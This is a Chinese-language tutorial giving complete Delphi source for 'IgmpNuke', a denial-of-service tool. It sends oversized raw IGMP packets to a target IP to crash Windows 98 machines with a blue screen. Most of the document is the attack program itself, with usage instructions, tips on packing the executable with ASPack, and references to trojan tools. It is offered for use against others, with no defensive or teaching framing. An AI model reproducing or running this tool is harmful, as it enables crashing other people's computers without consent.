一個藍底白字畫面炸彈的編寫方法
一個藍底白字畫面炸彈的編寫方法
藍底白字畫面炸彈一般使用的是IGMP協議(Internet Group Management Protocol)由於IGMP是一種類似ICMP(PING報文)的一種無連接協議,所以在向服務器連接時不需要指定連接的連接阜,只需要指定IP地址即可我們常用的WIN98系統因為不能很好的處理過大的IGMP資料包,很容易出現系統崩潰的情況,這就是IGMP協議被濫用為製作藍底白字畫面炸彈的原因.
炸彈製作方法:
打開DELPHI,新增一個Console Application這是一個命令行的程式,在MS-DOS方式窗體中執行,例如我們的程式編譯後文件名是NUKE.EXE,你就可以在MS-DOS方式窗體輸入NUKE XXX.XXX.XXX.XXX 65536 50
其中XXX.XXX.XXX.XXX是目標的IP地址;65536是資料包大小這裡是64K,50是發送次數,這裡我們的程式就用到了3個參數的傳遞,在DELPHI中我們就可以使用ParamStr()來獲得。
program IgmpNuke;
{$APPTYPE CONSOLE}
uses SysUtils, Windows, WinSock;//因為用到WINSOCK API請把Winsock unit加入Uses項中
var S: TSocket;
PSize: Integer;
Times: Integer;
Addr: TSockAddr;
wsaData:TWSAData;
Pack: Pchar;
begin
WSAStartup(Word(2),wsaData);//初始化WINSOCK,要求最低版本是2;
if ParamStr(1)<>"" then begin //獲得第一個參數,如果為空的話,跳到最後輸出使用格式。
S:=Socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);//為SOCKET指定協議為IGMP
if S = INVALID_SOCKET then begin
WriteLn("Create Socket Error:"+ IntToStr(GetLastError()));
exit;
end;
PSize:=StrToInt(ParamStr(2));//獲得第二個參數,為資料包大小;
Times:=StrToInt(ParamStr(3));//獲得第三個參數,為發送次數;
GetMem(Pack,PSize);//分配一段記憶體,大小為包的大小;
Addr.sin_family:=AF_INET;//指定使用的協議簇;
Addr.sin_addr.S_addr:=inet_addr(Pchar(ParamStr(1)));//指定目標的IP地址;當然要經過inet_addr函數轉換;
if Connect(S,Addr,SizeOf(Addr))<>0 then begin
WriteLn("Connect Error (Code):"+IntToStr(GetLastError()));
Exit;
end;
//以下開始循環發送,使用Send api;
Repeat
Send(S,Pack^,PSize,0);
dec(Times); //每次發送後使發送次數減一;
Write(".");
until Times=0;
WriteLn("");
WriteLn("Nuke: "+ParamStr(1)); //顯示一下訊息;
WriteLn("Packet Size: "+ParamStr(2));
WriteLn("Times: "+ParamStr(3));
WriteLn("GwNuker1.0");
WriteLn("Welcome to http://www.gwgirl.com/");//做一下廣告,呵呵。
end else begin
WriteLn("Nuke xxx.xxx.xxx.xxx PackSize Times");
end;
FreeMem(Pack);//釋放剛才分配的記憶體;
WSACleanup;//釋放Winsock資源;
end.
好了一個命令行版本的「藍底白字畫面炸彈」就這樣寫好了,編譯成EXE文件,看看只有40K左右,還可以用ASPack壓縮的哦!!廣外女生有這樣小的體積,不是單純依靠壓縮軟件的哦,只要在編程的時候減少使用窗體或可視化控件,就可以大大減少自己程式的大小,這是女生和冰河等大陸國產木馬不同的
|